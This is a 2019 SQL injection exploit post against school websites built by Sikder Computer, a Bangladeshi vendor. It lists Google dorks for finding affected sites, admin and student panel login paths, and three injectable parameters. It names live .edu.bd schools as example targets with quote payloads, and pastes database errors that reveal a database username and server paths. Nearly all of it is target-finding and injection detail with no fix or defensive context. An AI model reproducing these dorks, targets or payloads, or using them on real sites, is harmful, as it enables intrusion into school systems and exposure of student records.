Sikder Computer Center Mathbaria Bangladesh SQL Injection

#####################################################################

# Exploit Title : Sikder Computer Center Mathbaria Bangladesh SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 08/01/2019
# Vendor Homepage : sikdercomputer.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:''Design & Developed by Sikder Computer, Mathbaria'' site:edu.bd
intext:''Powered by Sikder Computer'' site:edu.bd
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# Cyberizm Exploit Reference Link :
cyberizm.org/cyberizm-sikder-computer-center-mathbaria-bd-sql-injection.html
# CXSecurity Exploit Reference Link :
cxsecurity.com/issue/WLB-2019010044

#####################################################################

# Admin/Teacher/Student Panel Login Path :
***************************************

/PATH/admin/index
/PATH/students_panel/index

# SQL Injection Exploit :
***********************

[PATH]/view_gallery_meetings?page=[SQL Injection]

[PATH]/current_success_students_info?id=[SQL Injection]

[PATH]/ex_success_students_info?id=[SQL Injection]

#####################################################################

# Example Vulnerable Sites =>
*****************************

Note : (67.23.238.179) => There are 1,107 domains hosted on this server.

[+] sbss.edu.bd/sonar/view_gallery_meetings?page=1%27

[+] nalivimss.edu.bd/nali/view_gallery_meetings?page=1%27

[+] laylamalekia.edu.bd/layla/current_success_students_info?id=16%27

#####################################################################

# SQL Database Error :
*********************

Warning: mysql_connect(): Access denied for user 'nalivims_sms'@'localhost'
(using password: YES) in /home/nalivimssedu/public_html/nali/admin/config/config.php on line 3

Warning: mysql_select_db() expects parameter 2 to be resource, boolean given in
/home/nalivimssedu/public_html/nali/admin/config/config.php on line 5
Couldn't Connect to the database ***No database found ***

Warning: mysql_query(): Access denied for user ''@'localhost'
(using password: NO) in /home/nalivimssedu/public_html/nali/view_gallery_meetings.php on line 19

#####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#####################################################################